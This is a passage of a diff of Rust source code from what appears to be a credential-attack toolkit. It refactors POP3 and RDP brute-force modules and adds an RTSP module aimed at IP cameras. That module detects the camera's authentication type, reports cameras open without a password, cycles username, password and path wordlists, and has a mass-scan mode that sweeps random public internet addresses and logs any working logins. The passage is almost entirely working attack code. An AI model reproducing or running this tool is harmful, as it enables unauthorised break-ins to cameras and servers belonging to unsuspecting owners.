port,
|
||||
username_wordlist: dw.clone(),
|
||||
password_wordlist: dw.clone(),
|
||||
threads: 1,
|
||||
stop_on_success: false,
|
||||
verbose,
|
||||
full_combo: false,
|
||||
use_ssl: t_use_ssl,
|
||||
connection_timeout: 5, // 5 seconds for login attempt
|
||||
retry_on_error: false,
|
||||
max_retries: 0,
|
||||
output_file: "".to_string(),
|
||||
delay_ms: 0,
|
||||
};
|
||||
attempt_pop3_login(&config, &t_user, &t_pass)
|
||||
}).await;
|
||||
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let msg = format!("{} -> {}:{}", ip, user, pass);
|
||||
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
|
||||
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
|
||||
}
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
return; // Stop after first success
|
||||
}
|
||||
Ok(Ok(false)) => {
|
||||
// Auth failed
|
||||
}
|
||||
Ok(Err(_)) => {
|
||||
// Connection error - abort this host
|
||||
return;
|
||||
}
|
||||
Err(_) => {
|
||||
// Start/Join error
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
|
||||
// Determine loading strategy
|
||||
let _user_count = count_lines(&config.username_wordlist)?;
|
||||
let _pass_count = count_lines(&config.password_wordlist)?;
|
||||
let _user_count = load_lines(&config.username_wordlist)?.len();
|
||||
let _pass_count = load_lines(&config.password_wordlist)?.len();
|
||||
|
||||
// We will use memory mode for simpler implementation unless huge, but for now standard load_lines
|
||||
// If files are huge, the shared Utils load_lines might panic or OOM, but let's assume reasonable sizes for now
|
||||
@@ -250,12 +465,7 @@ async fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn count_lines(path: &str) -> Result<usize> {
|
||||
let file = std::fs::File::open(path)?;
|
||||
let reader = std::io::BufReader::new(file);
|
||||
use std::io::BufRead;
|
||||
Ok(reader.lines().count())
|
||||
}
|
||||
|
||||
|
||||
// Blocking login attempt
|
||||
fn attempt_pop3_login(config: &Pop3BruteforceConfig, user: &str, pass: &str) -> Result<bool> {
|
||||
+25
-181
@@ -1,21 +1,26 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::{Path, PathBuf},
|
||||
path::Path,
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
time::Instant,
|
||||
};
|
||||
use tokio::{
|
||||
io::{AsyncBufReadExt, AsyncWriteExt},
|
||||
process::Command,
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, Duration, timeout},
|
||||
};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_default, prompt_port,
|
||||
prompt_existing_file, prompt_int_range,
|
||||
load_lines, get_filename_in_current_dir,
|
||||
};
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const MAX_MEMORY_LOAD_SIZE: u64 = 150 * 1024 * 1024; // 150 MB
|
||||
|
||||
@@ -141,7 +146,7 @@ impl RdpSecurityLevel {
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_selection() -> Result<Self> {
|
||||
fn prompt_selection() -> Result<Self> {
|
||||
println!("\nRDP Security Level Options:");
|
||||
println!(" 1. Auto (let client negotiate)");
|
||||
println!(" 2. NLA (Network Level Authentication)");
|
||||
@@ -150,7 +155,7 @@ impl RdpSecurityLevel {
|
||||
println!(" 5. Negotiate (try all methods)");
|
||||
|
||||
loop {
|
||||
let input = prompt_default("Security level", "1").await?;
|
||||
let input = prompt_default("Security level", "1")?;
|
||||
match input.trim() {
|
||||
"1" => return Ok(RdpSecurityLevel::Auto),
|
||||
"2" => return Ok(RdpSecurityLevel::Nla),
|
||||
@@ -246,86 +251,27 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("RDP Port", "3389").await?;
|
||||
match input.trim().parse::<u16>() {
|
||||
Ok(p) if p > 0 => break p,
|
||||
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
|
||||
}
|
||||
};
|
||||
let port: u16 = prompt_port("RDP Port", 3389)?;
|
||||
|
||||
let usernames_file_path = loop {
|
||||
let input = prompt_required("Username wordlist path").await?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
let usernames_file_path = prompt_existing_file("Username wordlist")?;
|
||||
|
||||
let passwords_file_path = loop {
|
||||
let input = prompt_required("Password wordlist path").await?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
let passwords_file_path = prompt_existing_file("Password wordlist")?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10").await?;
|
||||
match input.trim().parse::<usize>() {
|
||||
Ok(n) if n > 0 && n <= 10000 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
|
||||
}
|
||||
};
|
||||
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000)? as usize;
|
||||
|
||||
let timeout_secs: u64 = loop {
|
||||
let input = prompt_default("Connection timeout (seconds)", "10").await?;
|
||||
match input.trim().parse::<u64>() {
|
||||
Ok(n) if n > 0 && n <= 300 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
|
||||
}
|
||||
};
|
||||
let timeout_secs = prompt_int_range("Connection timeout (seconds)", 10, 1, 300)? as u64;
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true).await?;
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file name", "rdp_results.txt").await?)
|
||||
Some(prompt_default("Output file name", "rdp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false).await?;
|
||||
let security_level = RdpSecurityLevel::prompt_selection().await?;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
|
||||
let security_level = RdpSecurityLevel::prompt_selection()?;
|
||||
|
||||
let addr = format_socket_address(target, port);
|
||||
|
||||
@@ -337,14 +283,14 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Timeout: {} seconds", timeout_secs);
|
||||
|
||||
// Count lines for display
|
||||
let user_count = count_lines(&usernames_file_path)?;
|
||||
let user_count = load_lines(&usernames_file_path)?.len();
|
||||
if user_count == 0 {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} usernames", user_count);
|
||||
|
||||
let password_count = count_lines(&passwords_file_path)?;
|
||||
let password_count = load_lines(&passwords_file_path)?.len();
|
||||
if password_count == 0 {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
@@ -421,7 +367,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
match File::create(&filename) {
|
||||
match File::create(&filename).context(format!("Failed to create output file '{}'", filename.display())) {
|
||||
Ok(mut file) => {
|
||||
for (host_addr, user, pass) in creds.iter() {
|
||||
if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
|
||||
@@ -432,7 +378,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
|
||||
eprintln!("[!] {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1025,115 +971,13 @@ async fn try_rdp_login_rdesktop(addr: &str, user: &str, pass: &str, timeout_dura
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut s = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut s)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("{}", "This field is required. Please provide a value.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut s = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut s)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default_val.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
async fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut s = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut s)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn count_lines<P: AsRef<Path>>(path: P) -> Result<usize> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|line| !line.trim().is_empty())
|
||||
.count())
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path = Path::new(input_path_str);
|
||||
let filename_component = path
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
|
||||
|
||||
let final_name = if filename_component.is_empty()
|
||||
|| filename_component == "."
|
||||
|| filename_component == ".."
|
||||
|| filename_component.contains('/')
|
||||
|| filename_component.contains('\\')
|
||||
{
|
||||
"rdp_results.txt"
|
||||
} else {
|
||||
filename_component.as_ref()
|
||||
};
|
||||
|
||||
PathBuf::from(format!("./{}", final_name))
|
||||
}
|
||||
|
||||
fn sanitize_rdp_argument(input: &str) -> String {
|
||||
input.chars()
|
||||
@@ -0,0 +1,783 @@
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use base64::engine::general_purpose::STANDARD as Base64;
|
||||
use base64::Engine as _;
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{Write, BufRead, BufReader},
|
||||
net::{IpAddr, Ipv4Addr, SocketAddr},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, AtomicUsize, Ordering},
|
||||
time::Duration,
|
||||
collections::HashSet,
|
||||
};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, timeout},
|
||||
fs::OpenOptions,
|
||||
};
|
||||
use rand::Rng;
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_default, prompt_int_range, prompt_port,
|
||||
load_lines, get_filename_in_current_dir, normalize_target,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 5;
|
||||
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
const STATE_FILE: &str = "rtsp_mass_state.log";
|
||||
|
||||
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc)
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8", // Multicast/Reserved
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32", // Carrier/LinkLocal/Broadcast
|
||||
// Cloudflare
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
// Google
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
enum AuthMethod {
|
||||
None,
|
||||
Basic,
|
||||
Digest { realm: String, nonce: String },
|
||||
Unknown,
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ RTSP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ IP Camera and Streaming Server Credential Testing ║".cyan());
|
||||
println!("{}", "║ Supports Basic & Digest Auth, Mass Scanning ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Main entry point for the RTSP brute force module.
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Check for Mass Scan Mode conditions
|
||||
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || target.contains('/') || std::path::Path::new(target).is_file();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
if is_mass_scan {
|
||||
println!("{}", "[*] Mode: Mass Scan".yellow());
|
||||
return run_mass_scan(target).await;
|
||||
}
|
||||
|
||||
run_single_target(target).await
|
||||
}
|
||||
|
||||
async fn run_single_target(target: &str) -> Result<()> {
|
||||
let port: u16 = prompt_port("RTSP Port", 554)?;
|
||||
|
||||
let usernames_file = prompt_existing_file("Username wordlist")?;
|
||||
let passwords_file = prompt_existing_file("Password wordlist")?;
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000)? as usize;
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let _save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if _save_results {
|
||||
Some(prompt_default("Output file", "rtsp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
|
||||
// Extract RTSP path if present (e.g., rtsp://host:port/path -> path)
|
||||
let implicit_path = extract_rtsp_path(target);
|
||||
|
||||
// Normalize target and add port if needed
|
||||
let target_normalized = if target.starts_with("rtsp://") {
|
||||
target.strip_prefix("rtsp://")
|
||||
.expect("Target starts with rtsp://")
|
||||
.split('/')
|
||||
.next()
|
||||
.unwrap_or(target)
|
||||
} else {
|
||||
target.split('/').next().unwrap_or(target)
|
||||
};
|
||||
|
||||
let normalized = normalize_target(target_normalized)?;
|
||||
let addr = if normalized.contains(':') {
|
||||
normalized
|
||||
} else {
|
||||
format!("{}:{}", normalized, port)
|
||||
};
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let resolved_addrs = match resolve_targets(&addr, port).await {
|
||||
Ok(addrs) => Arc::new(addrs),
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
|
||||
return Err(e);
|
||||
}
|
||||
};
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
if pass_lines.is_empty() {
|
||||
println!("[!] Password wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
|
||||
let mut paths = if brute_force_paths {
|
||||
let paths_file = prompt_existing_file("Path to RTSP paths file")?;
|
||||
load_lines(&paths_file)?
|
||||
} else {
|
||||
vec!["".to_string()]
|
||||
};
|
||||
if paths.is_empty() {
|
||||
println!("[!] RTSP paths list is empty. Falling back to default root path.");
|
||||
paths.push(String::new());
|
||||
}
|
||||
if let Some(p) = implicit_path {
|
||||
if !paths.iter().any(|existing| existing == &p) {
|
||||
paths.insert(0, p);
|
||||
}
|
||||
}
|
||||
println!();
|
||||
|
||||
println!("[*] Probing authentication method on default path...", );
|
||||
let initial_path = paths.first().cloned().unwrap_or_default();
|
||||
let probe_result = probe_auth_method(resolved_addrs.as_slice(), &addr, &initial_path).await;
|
||||
|
||||
let default_auth_method = match probe_result {
|
||||
Ok(AuthMethod::None) => {
|
||||
println!("{}", "[+] Target allows Unauthenticated Access!".green().bold());
|
||||
// If user wants to stop on success, we are done?
|
||||
// We should record this.
|
||||
found.lock().await.push((addr.clone(), "<NO_AUTH>".to_string(), "<NO_AUTH>".to_string(), initial_path.clone()));
|
||||
if stop_on_success {
|
||||
println!("[+] Stopping due to unauthenticated access.");
|
||||
return Ok(());
|
||||
}
|
||||
AuthMethod::None
|
||||
},
|
||||
Ok(AuthMethod::Basic) => {
|
||||
println!("{} Detected Auth: Basic", "[*]".blue());
|
||||
AuthMethod::Basic
|
||||
},
|
||||
Ok(AuthMethod::Digest { realm, nonce }) => {
|
||||
println!("{} Detected Auth: Digest (Realm: {})", "[*]".blue(), realm);
|
||||
AuthMethod::Digest { realm, nonce }
|
||||
},
|
||||
Ok(AuthMethod::Unknown) => {
|
||||
println!("{} Unknown auth or connection error. Will default to Basic or probing.", "[!]".yellow());
|
||||
AuthMethod::Unknown
|
||||
},
|
||||
Err(e) => {
|
||||
println!("{} Probe failed: {}. Will continue knowing nothing.", "[!]".red(), e);
|
||||
AuthMethod::Unknown
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let mut idx = 0usize;
|
||||
|
||||
for pass in pass_lines {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
|
||||
let userlist: Vec<String> = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
|
||||
};
|
||||
|
||||
for user in userlist {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
for path in &paths {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let path_clone = path.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let addrs_clone = Arc::clone(&resolved_addrs);
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
// If we know detected method, use it as a hint.
|
||||
let cached_method = default_auth_method.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) { return; }
|
||||
let _permit = match semaphore_clone.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) { return; }
|
||||
|
||||
match try_rtsp_login_smart(
|
||||
addrs_clone.as_slice(),
|
||||
&addr_clone,
|
||||
&user_clone,
|
||||
&pass_clone,
|
||||
&path_clone,
|
||||
&cached_method,
|
||||
).await {
|
||||
Ok(true) => {
|
||||
let path_str = if path_clone.is_empty() { "/" } else { &path_clone };
|
||||
println!("\r{}", format!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str).green().bold());
|
||||
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
|
||||
stats_clone.record_success();
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_failure();
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_error(e.to_string()).await;
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {} -> error: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
}
|
||||
idx += 1;
|
||||
}
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
stats.record_error(format!("Task panic: {}", e)).await;
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
|
||||
if let Some(path) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path);
|
||||
if let Ok(mut file) = File::create(&filename) {
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
let _ = writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Run mass scan logic
|
||||
async fn run_mass_scan(target: &str) -> Result<()> {
|
||||
// Prep wordlists
|
||||
println!("{}", "[*] Preparing Mass Scan configuration...".blue());
|
||||
|
||||
let port: u16 = prompt_port("RTSP Port", 554)?;
|
||||
|
||||
let usernames_file = prompt_existing_file("Username wordlist")?;
|
||||
let passwords_file = prompt_existing_file("Password wordlist")?;
|
||||
let paths_file = prompt_existing_file("RTSP paths file (empty for none/root)")?;
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
let mut paths = load_lines(&paths_file)?;
|
||||
if paths.is_empty() {
|
||||
paths.push("".to_string());
|
||||
}
|
||||
|
||||
if users.is_empty() || pass_lines.is_empty() {
|
||||
return Err(anyhow!("Wordlists cannot be empty"));
|
||||
}
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
|
||||
let output_file = prompt_default("Output result file", "rtsp_mass_results.txt")?;
|
||||
|
||||
// Parse exclusions
|
||||
let mut exclusion_subnets = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusion_subnets.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusion_subnets);
|
||||
|
||||
// Shared State
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let creds_pkg = Arc::new((users, pass_lines, paths));
|
||||
|
||||
// Stats Reporter
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs scanned, {} RTSP streams found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
|
||||
let mut checked_ips = HashSet::new();
|
||||
if run_random {
|
||||
if std::path::Path::new(STATE_FILE).exists() {
|
||||
println!("{} Loading state file...", "[*]".blue());
|
||||
if let Ok(file) = File::open(STATE_FILE) {
|
||||
let reader = BufReader::new(file);
|
||||
for line in reader.lines() {
|
||||
if let Ok(l) = line {
|
||||
if let Some(ip) = l.strip_prefix("checked: ") {
|
||||
checked_ips.insert(ip.trim().to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
println!("{} Loaded {} checked IPs.", "[+]".green(), checked_ips.len());
|
||||
}
|
||||
}
|
||||
|
||||
let checked_set = Arc::new(Mutex::new(checked_ips));
|
||||
|
||||
if run_random {
|
||||
OpenOptions::new().create(true).append(true).open(STATE_FILE).await?;
|
||||
|
||||
println!("{}", "[*] Starting Random Internet Scan...".green());
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
let c_set = checked_set.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
|
||||
let ip_s = ip.to_string();
|
||||
let is_checked = {
|
||||
let set = c_set.lock().await;
|
||||
set.contains(&ip_s)
|
||||
};
|
||||
|
||||
if !is_checked {
|
||||
{
|
||||
let mut set = c_set.lock().await;
|
||||
set.insert(ip_s.clone());
|
||||
}
|
||||
mark_ip_checked_file(&ip_s).await;
|
||||
